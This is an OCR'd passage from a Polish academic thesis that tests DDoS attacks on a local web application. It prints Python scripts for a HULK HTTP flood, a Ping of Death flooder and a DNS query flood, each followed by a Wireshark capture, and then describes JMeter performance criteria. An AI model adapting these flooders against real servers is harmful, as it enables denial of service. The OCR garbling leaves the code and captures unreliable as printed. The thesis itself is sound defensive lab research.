7894.. 7.475896 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 266 , JSON (application/json)
78096.. 7.479185 127.8.8.1 127.8.8.1 HTTP 220 GET /agreements/getAgreements/54 HTTP/1.1
7897.. 7.400892 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 26@ , JSON (application/json)
7997.. 7.483838 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/L.1
7899.. 7.486459 127.8.8.1 127.8.8.1 HTTP/J.. 43 HTTP/1.1 26@ , JSON (application/json)
718@.. 7.487884 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7180.. 7.487919 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 288 , ]SON (application/json)
718l.. 7.489512 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7102.. 7.491658 127.0.0.1 127.8.0.1 HTTP/J.. 49 HTTP/1.1 208 , JSON (application/json)
7183.. 7.493609 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7186.. 7.497384 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 268 , JSON (application/json)
7186.. 7.497434 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 26@ , JSON (application/json)
7187.. 7.498128 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 28@ , JSON (application/json)
7118.. 7.580415 127.8.8.1 127.8.8.1 HTTP/J.. 43 HTTP/1.1 26@ , JSON (application/json)
7118.. 7.580448 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 288 , ]SON (application/json)
7111.. 7.581648 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7111.. 7.502765 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 288 , ]SON (application/json)
7113.. 7.566163 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 266 , JSON (application/json)
7115.. 7.5689225 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 268 , JSON (application/json)
7115.. 7.589331 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 268 , JSON (application/json)
7116.. 7.516158 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/1.1
7117.. 7.516946 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 28@ , JSON (application/json)
7119.. 7.519528 127.8.8.1 127.8.8.1 HTTP/J.. 43 HTTP/1.1 26@ , JSON (application/json)
7128.. 7.52@8338 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7128.. 7.521885 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 288 , ]SON (application/json)
7128.. 7.521485 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7122.. 7.522847 127.8.8.1 127.8.8.1 HTTP 226 GET /agreements/getAgreements/54 HTTP/1.1
7122.. 7.523884 127.8.8.1 127.8.8.1 HTTP 220 GET /agreements/getAgreements/54 HTTP/1.1
7123.. 7.523521 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 268 , JSON (application/json)
7124.. 7.526945 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/L.1
7124.. 7.528363 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/1.1
7124.. 7.528391 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/1.1
7125.. 7.529645 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7126.. 7.532988 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7128.. 7.538715 127.8.8.1 127.8.8.1 HTTP 228 GET /agreements/getAgreements/54 HTTP/1.1
7128.. 7.539512 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 266 , JSON (application/json)
7131.. 7.543177 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 268 , JSON (application/json)
7132.. 7.543687 127.8.8.1 127.8.8.1 HTTP 220 GET /agreements/getAgreements/54 HTTR/1.1
7132. 7.544565 127.8.8.1 127.8.8.1 HTTP/Ju. 43 HTTP/1.1 28@ , JSON (application/json)
7134.. 7.546577 127.8.8.1 127.8.8.1 HTTP 22@ GET /agreements/getAgreements/54 HTTP/1.1
7135.. 7.546798 127.8.8.1 127.8.8.1 HTTP/J.. 43 HTTP/1.1 26@ , 150N (application/json)
7135.. 7.547368 127.8.8.1 127.8.8.1 HTTP/J.. 49 HTTP/1.1 288 , ]SON (application/json)
.8.8.1 .8.8.1 HTTP/J.. HTTP/1.1 2680 application/json

on wire (1768 bi y a ed (! its) o \Device\NPF_Loopback, id @

n 4,
on Control Protocol,
er Protocol

Rys. 2.3. Przechwycony ruch z ataku HTTP Flood [opracowanie wlasne]

Na listingu 1.5. pokazany jest zaimplementowany skrypt ataku HULK.
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import requests
import random
import time

target _url = "http://localhost:8080/agreements/getAgreements/54"
NUM THREADS = 200

# Losowe User-Agenty
user agents = |

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124
Safari/537.36",

"Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:89.0)
Gecko/20100101 Firefox/89.0",

"Mozilla/5.0 (iPhone; CPU iPhone 0S 14 6 like Mac OS X)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148
Safari/e04.1",

]

def hulk attack():
headers = {
"User-Agent": random.choice (user agents),
"Cache-Control": "no-cache",
"Accept-Language": "en-US,en;g=0.9",
"Connection": "keep-alive",
}
while True:
try:
# Generowanie losowego parametru zapytania
random param = f"?rand={random.randint (1, 1000000)}"
response = requests.get (target url + random param,
headers=headers, timeout=5)
except requests.exceptions.RequestException as e:
print (f"Error: {e}")

if name == " main ":

print (f"Starting HULK attack with {NUM THREADS} threads on
{target url}")

run_ddos_attack with threads (hulk attack, NUM THREADS)

Listing 1. 5. Skrypt ataku HULK fopracowanie wiasne]

W tym ataku wybieramy losowy agent uzytkownika i w nagtéwku zgdania dodaje

atrybut bez zapisu do pamieci podrecznej (ang. “no-cache”) aby wysytane zadania nie

byty zapisywane do pamigci cache, co powinno zwigkszy¢ zuzycie serwera w celu

obstuzenia tych zadan.

Na ponizszym rysunku 2.4. przedstawiony jest przechwycony ruch zagdanh HTTP

podczas trwania ataku HULK. Wida¢, Zze kazde zadanie posiada dodany losowy parametr

,rand”.
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L Time Source Destination Protocol Length Info
1819.. 140.841197 : 489 GET /agreements/getAgreements/542rand=549451 HTTP/1.1

ey
s
el
=
3
-

1819.. 148.541520 38l 3Rl HTTP 409 GET /agreements/getAgreements/542rand=938164 HTTP/1.1
1821.. 140.843411 284l 324l HTTP 489 GET /agreements/getAgreements/542rand=137118 HTTP/1.1
1821. 148.545164 38dl 334l HTTP 364 GET /agreements/getAgreements/54?rand=499674 HTTP/1.1
1822.. 140.846478 284l 324l HTTP 482 GET /agreements/getAgreements/542rand=88712 HTTP/1.1
1824.. 148.848784 zgdl 334l HTTP/J.. 69 HTTP/1.1 28@ , JSON (application/json)

1824.. 148, 356485 2l 2l HTTP 403 GET /agreements/getAgreements/54?rand=788976 HTTP/1.1
1824.. 148.851564 38dl 334l HTTP 423 GET /agreements/getAgreements/542rand=867898 HTTP/1.1
1825.. 148.352468 2Rl 351l HTTP 364 GET fagreements/getAgreements/54?rand=484721 HTTP/1.1
1827.. 140.854529 28l 34l HTTP 423 GET /agreements/getAgreements/542rand=777177 HTTP/1.1
1827.. 14@.854760 seal 324 HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1827.. 14@.854952 28l 34l HTTP 489 GET /agreements/getAgreements/542rand=527968 HTTP/1.1
1828.. 148.856717 2Rdl 351 HTTP 489 GET fagreements/getAgreements/54?rand=198629 HTTP/1.1
1829.. 140.858245 288l 328l HTTP 364 GET /agreements/getAgreements/54?rand=624286 HTTP/1.1
1829.. 14@.358654 =2gdl 35il HTTP/J.. 69 HTTP/1.1 2@ , JSON (application/json)

1831.. 148.862234 288l 328l HTTP 422 GET /agreements/getAgreements/542rand=48183 HTTR/1.1
1831.. 14@.863064 =2gdl 35il HTTP/J.. 69 HTTP/1.1 2@ , JSON (application/json)

1831.. 140. 863468 284l 324l HTTP 423 GET /agreements/getAgreements/542rand=398193 HTTP/1.1
1833.. 140.865043 38dl 334l HTTP 363 GET /agreements/getAgreements/54?rand=5@179 HTTP/1.1
1835.. 148.866345 seal 324 HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1835.. 14@.866832 zgdl 334l HTTP/J.. 69 HTTP/1.1 28@ , JSON (application/json)

1837.. 148.865384 2l 2l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1838.. 14@.869866 zgal 374l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1839.. 148.371090 2Rl 351l HTTP 421 GET /fagreements/getAgreements/54?rand=9738 HTTP/1.1
1840.. 140.873338 28l 34l HTTP 423 GET /agreements/getAgreements/542rand=437176 HTTP/1.1
1849.. 148.3873382 2Rdl 351 HTTP 409 GET fagreements/getAgreements/54?rand=974502 HTTP/1.1
1841.. 14@.874586 zgal 374l HTTP/J.. 69 HTTP/1.1 266 , JSON (application/json)

1843.. 148.877473 =il 351l HTTP/J 69 HTTP/1.1 28@ , JSON (application/json)

1845.. 148.879924 g4l 331l HTTP/J.. 69 HTTP/1.1 286 , JSON (application/json)

1846.. 14@.338981 =2gdl 35il HTTP/J.. 69 HTTP/1.1 2@ , JSON (application/json)

1847.. 140.881836 288l 328l HTTP 364 GET /agreements/getAgreements/54?rand=012722 HTTP/1.1
1848.. 14@.883763 zgdl 334l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1849.. 148.836664 281l 331l HTTP/J.. 69 HTTP/1.1 268 , JSON (application/json)

1852.. 146.898296 38dl 334l HTTP 423 GET /agreements/getAgreements/54%rand=969215 HTTP/1.1
1852.. 14@.89@383 seal 324 HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1853.. 14@.89@917 zgdl 334l HTTP/J.. 69 HTTP/1.1 28@ , JSON (application/json)

1853.. 148.391853 2Rl 351l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1854.. 14@.8933%9@ zgal 374l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1856.. 148.897256 3Ea 3=l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1859.. 14@.983250 zgal 374l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1859.. 14@8.983378 =il 351l HTTP/J.. 69 HTTP/1.1 28@ , JSON (application/json)

1859.. 148.904880 zgal 374l HTTP/J.. 69 HTTP/1.1 266 , JSON (application/json)

1861.. 14@8.988831 =il 351l HTTP/J.. 69 HTTP/1.1 288 , JSON (application/json)

1861.. 140.989918 288l 328l HTTP 423 GET /agreements/getAgreements/542rand=739898 HTTP/1.1
1861. 148.913504 38l 3Rl HTTP 483 GET /agreements/getAgreements/54?rand=354944 HTTP/1.1
1861.. 140.914665 284l 324l HTTP 423 GET /agreements/getAgreements/542rand=3956689 HTTP/1.1
1863.. 148.9268410 38dl 334l HTTP 364 GET /agreements/getAgreements/54%rand=134959 HTTP/1.1
1863.. 148.921484 284l 324l HTTP 364 GET /agreements/getAgreements/54?rand=469817 HTTP/1.1
1864.. 146.922769 38dl 334l HTTP 423 GET /agreements/getAgreements/54%rand=373527 HTTP/1.1
1865.. 148.924934 2l 2l HTTP 402 GET /agreements/getAgreements/54?rand=399231 HTTP/1.1
1867.. 14@.92919@ zgdl 334l HTTP/J.. 69 HTTP/1.1 28@ , JSON (application/json)

1867.. 140.929386 254 334l HTTP 423 GET /agreements/getAgreements/54?rand=729681 HTTP/1.1
1867.. 148.931632 28l 34l HTTP 489 GET /agreements/getAgreements/542rand=298785 HTTP/1.1
1868.. 148.932486 2pdl 35l HTTP 364 GET /fagreements/getAgreements/54?rand=892115 HTTP/1.1

Rys. 2.4. Przechwycony ruch z ataku HULK [opracowanie wlasne]

Na ponizszym listingu 1.6. przedstawiony jest zaimplementowany skrypt ataku

ping $mierci (POD).
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import socket
import random

TARGET IP = "127.0.0.1"
MAX PACKET SIZE = 65507
NUM THREADS = 200

def send large icmp () :

"""Funkcja wysytajaca duze pakiety ICMP."""

sock = socket.socket (socket.AF INET, socket.SOCK RAW,
socket.IPPROTO ICMP)

# Losowe dane, ktdére beda w pakiecie ICMP
payload = random. urandom(MAX PACKET SIZE)

# Budowanie nagitdédwka ICMP (typ 8 = ECHO request, kod 0)
icmp header = b'\x08\x00' # Typ 8 (ICMP Echo Request), Kod 0
checksum = b'\x00\x00' # Fikcyjna suma kontrolna
identifier = b'\x12\x34' # Identyfikator pakietu
sequence number = b'\x00\x01' # Numer sekwencyjny
icmp_packet = icmp header + checksum + identifier +

sequence number + payload

print (f"Thread {threading.current thread() .name} sending
packets to {TARGET IP}...")

while True:
try:
sock.sendto (icmp packet, (TARGET IP, 0))
except Exception as e:
print (f"Error in thread
{threading.current thread() .name}: {e}")
break
if name == " main ":
print (f"Starting Ping of Death attack on {TARGET IP} with
{NUM THREADS} threads...")
run _ddos attack with threads(send large icmp, NUM THREADS)

Listing 1. 6. Skrypt ataku POD [opracowanie wlasne]

W tym ataku tworzymy maksymalnie duze pakiety ICMP, ktore po odtworzeniu

po stronie serwera generujg btad.

Na ponizszym rysunku 2.5. pokazany jest przechwycony ruch pakietow ICMP w

aplikacji Wireshark podczas trwania ataku POD.
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12@4.. 7.978408 127.0.0.1 127.8.0.1 IcMP 65539 Echo (ping) request ttl=128 (no respon:
. 7.973419 127.@.0.1 127.0.0.1 ICcMP 65539 Echo (ping) request tt1=128 (no respon:
7.978432 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request id=8x1234, tt1=128 (no respon:
.. 7.978444 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request id=@x1234, , ttl=128 (no respon:
. 7.978611 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request , tt1=128 (no respon:
7.978620 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request tt1=128 (no respon:
7.978631 127.9.9.1 127.9.8.1 ICHP 65539 Echo (ping) request seq=1/256, ttl=128 (no respon:
7.979788 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request seq=1/256, tt1=128 (no respon:
7.979717 127.0.0.1 127.9.0.1 IMP 65539 Echo (ping) request tt1=128 (no respon:
. 7.979735 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request ttl=128 (no respon:
7.979853 127.6.8.1 127.6.8.1 hal 65539 Echo (ping) request tt1=128 (no respons
7.979861 127.0.0.1 127.8.0.1 IcMP 65539 Echo (ping) request » ttl=128 (no respon:
7.979872 127.@.0.1 127.0.0.1 ICcMP 65539 Echo (ping) request » tt1=128 (no respon:
7.979956 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request tt1=128 (no respon:
7.979966 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request ttl=128 (no respon:
7.979975 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request tt1=128 (no respon:
7.988272 127.0.0.1 127.9.0.1 IMP 65539 Echo (ping) request tt1=128 (no respon:
7.988282 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request ttl=128 (no respon:
7.988290 127.6.8.1 127.6.8.1 hal 65539 Echo (ping) request tt1=128 (no respons
7.98@301 127.0.0.1 127.8.0.1 IcMP 65539 Echo (ping) request » ttl=128 (no respon:
7.98831@ 127.9.8.1 127.6.8.1 TCHP 65539 Echo (ping) request seq=1/256, tt1=128 (no respon:
7.988321 127.8.0.1 127.0.6.1 IcMP 65539 Echo (ping) request seq=1/256, ttl=128 (no respon:
7.988402 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request ttl=128 (no respon:
7.988410 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request tt1=128 (no respon:
7.9808418 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request tt1=128 (no respon:
7.988895 127.9.9.1 127.9.8.1 ICHP 65539 Echo (ping) request seq=1/256, ttl=128 (no respon:
7.988912 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request /256, tt1=128 (no respon:
7.988928 127.0.0.1 127.8.0.1 P 65539 Echo (ping) request seq=1/256, ttl=128 (no respon:
7.980043 127.0.08.1 127.0.8.1 ICHP 65539 Eche (ping) request seq=1/256, ttl=128 (no respon:
7.988959 127.6.8.1 127.6.8.1 hal 65539 Echo (ping) request seq=1/256, tt1=128 (no respon:
7.988972 127.0.0.1 127.8.0.1 IcMP 65539 Echo (ping) request ttl=128 (no respon:
7.98112@8 127.@.0.1 127.0.0.1 ICcMP 65539 Echo (ping) request tt1=128 (no respon:
7.98113@ 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request id=8x1234, tt1=128 (no respon:
7.981139 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request id=@x1234, ttl=128 (no respon:
7.981574 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request i tt1=128 (no respon:
7.981588 127.0.0.1 127.9.0.1 IMP 65539 Echo (ping) request tt1=128 (no respon:
7.981681 127.0.08.1 127.0.8.1 ICHP 65539 Eche (ping) request seq=1/256, ttl=128 (no respon:
7.981616 127.6.8.1 127.6.8.1 hal 65539 Echo (ping) request seq=1/256, tt1=128 (no respon:
7.981631 127.0.0.1 127.8.0.1 IcMP 65539 Echo (ping) request ttl=128 (no respon:
7.981645 127.@.0.1 127.0.0.1 ICcMP 65539 Echo (ping) request tt1=128 (no respon:
7.981661 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request tt1=128 (no respon:
7.981675 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request ttl=128 (no respon:
7.981688 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request tt1=128 (no respon:
7.981787 127.8.0.1 127.0.9.1 ICMP 65539 Echo (ping) request tt1=128 (no respon:
7.981799 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request , ttl=128 (no respon:
7.981811 127.8.8.1 127.8.8.1 CHP 65539 Echo (ping) request , tt1=128 (no respon:
7.982164 127.0.0.1 127.9.0.1 IMP 65539 Echo (ping) request tt1=128 (no respon:
7.982173 127.0.0.1 127.0.0.1 ICMP 65539 Echo (ping) request ttl=128 (no respon:
7.982181 127.6.8.1 127.6.8.1 hal 65539 Echo (ping) request id=8x1234, seq=1/256, tt1=128 (no respon:
7.982192 127.0.0.1 127.8.0.1 e 65539 Echo (ping) request id=8x1234, /256, ttl=128 (no respon:
7.982282 127.9.8.1 127.6.8.1 TCHP 65539 Echo (ping) request ox1234, seq=1/256, tt1=128 (no respon:
7.982211 127.8.0.1 127.0.6.1 IcMP 65539 Echo (ping) request seq=1/256, ttl=128 (no respon:
7.982296 127.9.9.1 127.9.8.1 ICHP 65539 Echo (ping) request /256, ttl=128 (no respon:
.. 7.982389 127.6.8.1 127.6.6.1 TICMP 65539 Echo (pinﬁ request  id=8x1234, seq=1/256, ttl=128 (no respon:

Rys. 2.5. Przechwycony ruch z ataku POD [opracowanie wilasne]

Wida¢é, ze serwer nie odpowiada poprawnie na te pakiety, a wigc pojawity sie

btedy po ich otrzymaniu.

Na listingu 1.7. pokazany jest zaimplementowany skrypt ataku natezenia DNS
(ang. DNS Amplification)
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import socket

dns server = "127.0.0.1" # Adres Technitium DNS Server
NUM THREADS = 500

# Funkcja tworzaca zapytanie DNS

def create dns query(domain) :
query = b"\xaa\xbb" # ID zapytania
query += b"\x01\x00" Flagi standardowego zapytania
query += b"\x00\x01" 1 pytanie
query += b"\x00\x00" Brak odpowiedzi
query += b"\x00\x00" Brak rekorddéw dodatkowych
query += b"\x00\x00" Brak rekorddédw autorytatywnych

H= o S =

# Zapytanie o nazwe domeny
for part in domain.split("."):

query += bytes ([len(part)]) + part.encode()
query += b"\x00" # Koniec nazwy domeny

query += b"\x00\x01" # Typ rekordu A
query += b"\x00\x01" # Klasa IN
return query

def dns amplification attack():
sock = socket.socket (socket.AF INET, socket.SOCK DGRAM)
sock.setsockopt (socket.SOL SOCKET, socket.SO REUSEADDR, 1)

# Przygotuj zapytanie
dns query = create dns query ("example.com")
while True:
sock.sendto (dns_query, (dns_server, 53)) # Wysitanie do
serwera DNS

if name == " main ":
print (f"Starting DNS attack with {num threads} threads...")
run_ddos attack with threads(dns_amplification attack,

NUM THREADS)

Listing 1. 7. Skrypt ataku DNS Amplification [opracowanie wiasne]

Celem tego ataku jest specjalnie przygotowany serwer DNS dzialajacy lokalnie

na adresie 127.0.0.1:53. Zostal on stworzony za pomoca narzedzie Technitium DNS

Server w ktorym stworzona zostata strefa “example.com” posiadajace rekordy

odwotujace si¢ do adresu aplikacji serwera 1 posiadajacy dodatkowe rekordy zwracajace

wigksze odpowiedzi [22]. Na ponizszym rysunku 2.6. pokazano dodang stref¢ w aplikacji

Technitium DNS Server.
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DNS Server - dns-server

Dashboard Zones Cache Allowed Blocked Apps

«— Back

example.com o

Rys. 2.6. Stworzona strefa w Technitium DNS Server [opracowanie wtasne]

Na ponizszych rysunkach 2.7. 1 2.8. wida¢ dodane rekordy do stworzonej na

powyzszym rysunku 2.6. strefy.

4 info TXT 3600 "Thisis a test response. This is a test response. This is a test response. This is a test response. This is a test res
ponse. This Is a test response. This is a test response. This is a test response. This is a test response. Thisis a t
est response. This "

"is a test response. This is a test response. This is a test response. This is a test response. This is a test respons
e. This is a test response. This is a test response. This is a test response. This is a test response. This is a testr
esponse. Thisisa "

"test response. This is a test response. This is a test response. This is a test response. This is a test response. T
his is a test response. This is a test response. This is a test response. This is a test response. This is a test respo
nse, This is a test "

“response. This is a test response. This is a test response. This is a test response. This is a test response. This i
s a test response. This is a test response. This is a test response. This is a test response. This is a test respons
e. This is a test respo”

"nse."

Rys. 2.7. Dodany rekord tekstowy do strefy [opracowanie wiasne]

O nsi A 3600 127.0.0.1

Rys. 2.8. Dodany rekord typu "A™ do strefy [opracowanie wiasne]
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Dodatkowo wiaczona jest rekurencja w ustawienia umozlwiajace wykonanie
ataku DNS Amplification. Na rysunku 2.9. ponizej] mozna zobaczy¢ potwierdzenie

uruchomienia tego ustawienia w aplikacji Technitium DNS Server.
Cache Allowed Blocked Apps DNS Client Settings DHCP /

Optional Protocols TSIG Recursion Cache Blocking Proxy & Fory

Recursion (O Deny Recursion
Disables recursion so that this DNS Server works as authoritative only.

@ Allow Recursion
Enables recursion to allow this DNS Server to resolve any domain name.

(O Allow Recursion Only For Private Networks (default)

Rys. 2.9. Wigczenie opcji rekurencji w ustawieniach serwera DNS [opracowanie wilasne]

Na ponizszym rysunku 2.10. przedstawiony jest przechwycony ruch pakietow

DNS w aplikacji Wireshark podczas trwania ataku natgzenia DNS (ang. DNS
Amplification).
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Source Destination Protocol Length Info

2437.. 15.893808 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893812 127.0.0.1 127.8.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893823 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893834 127.0.0.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893844 127.8.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893854 127.0.0.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893871 127.8.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.093080 127.0.9.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893891 127.9.0.1 127.8.6.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893184 127.9.08.1 127.0.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893114 127.0.0.1 127.0.8.1 DNS €1 Standard query @xaabb A example.com
2437.. 15.893116 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.093131 127.9.0.1 127.0.8.1 DNS €1 Standard query @xaabb A example.com
2437.. 15.893134 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893138 127.0.0.1 127.8.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893141 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893151 127.0.0.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893159 127.8.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893164 127.9.0.1 127.9.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893178 127.8.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.993188 127.0.9.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893282 127.0.0.1 127.0.8.1 DNS €1 Standard query @xaabb A example.com
2437.. 15.893287 127.9.08.1 127.0.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893214 127.0.0.1 127.0.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893221 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.093223 127.9.0.1 127.0.8.1 DNS €1 Standard query @xaabb A example.com
2437.. 15.893228 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893238 127.0.0.1 127.8.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893248 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893246 127.0.0.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893249 127.8.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.993260 127.9.0.1 127.9.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893267 127.9.0.1 127.8.6.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.093277 127.0.9.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893288 127.0.0.1 127.0.8.1 DNS €1 Standard query @xaabb A example.com
2437.. 15.893386 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893388 127.0.0.1 127.0.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893311 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893330 127.9.0.1 127.0.8.1 DNS €1 Standard query @xaabb A example.com
2437.. 15.893342 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893345 127.0.0.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893369 127.9.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893371 127.0.0.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893391 127.8.8.1 127.8.8.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893394 127.9.0.1 127.9.0.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.893396 127.9.0.1 127.8.6.1 DNS 61 Standard query @xaabb A example.com
2437.. 15.€93399 127.0.9.1 127.0.0.1 DNS 61 Standard query @xaabb A example.com
893412 .8.8.1 0.6.1 Standard query @xaabb A le

captured (488 bits) on interface \Dewice\NPF_|

Rys. 2.10. Przechwycony ruch z ataku DNS Amplification [opracowanie wiasne]

5.1.1. Wybor kryteriow oceny skutecznosci

Jak juz bytlo wspomniane na poczatku tego rozdziatu, w celu sprawdzenia jak
aplikacja radzi sobie z obcigzeniem, wykonane beda testy wydajnosci przy uzyciu
Apache Jmeter. Testy beda wykonywane na punkcie koncowym odpowiadajacym za
zwrocenie listy wszystkich produktow, gdyz bedzie on jednym z najczgsciej uzywanych
punktow przez normalnych uzytkownikow. Jezeli opdznienia pojawig si¢ na nim,
drastycznie wptynie to na jako$¢ korzystania z aplikacji z punktu widzenia klienta.
Plikami wynikowymi z testow Jmeter sg pliki “*.jtI”, ktore beda wykorzystane do
generowania raportu w formacie HTML — jest to jedna z funkcjonalno$ci oferowana przez
Jmeter [23]. Na ponizszym rysunku 3.1. pokazane jest korzystanie z opcji tworzenia

raportbw HTML w aplikacji Jmeter.
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£ Apache Meter (5.6.2)

Generate report

Rys. 3.1. Tworzenie raportow HTML w Jmeter [opracowanie wiasne]

Na ponizszym rysunku 3.2. pokazane jest jak przedstawia si¢ wygenerowany
raport dla przeprowadzonych testow aplikacji dziatajacej, gdy nie jest wykonywany
zaden atak DDoS.

Statistics
Requests Executions Response Times (ms} Throughput Network (KB/sec)
" - - EmrA - - - - mA %mA mA - - -
Label = #Samples ~ FAIL™ % ~ Average = Min = Max = Median = pct ~ pct = pct * Transactions/s = Received = Sent ™
Total 4500 0 0.00% 12.47 1 88 2.00 60.00 €5.00 69.00 107.11 259.30 14.23
HTTP 4500 0 0.00% 1247 1 88 2.00 60.00 65.00 69.00 107.11 259.30 14.23
Request

Rys. 3.2. Test wydajnosci aplikacji testowej dla normalnego ruchu [opracowanie wiasne]

Najwazniejsze kryteria, ktore bgda brane pod uwage podczas testow to (zobacz
ponownie rysunek 3.2.):

e Error % - przedstawia jaki procent zadan zwroécit blad, a nie oczekiwane dane
e Average Response Time - §redni czas odpowiedzi serwera na zadanie

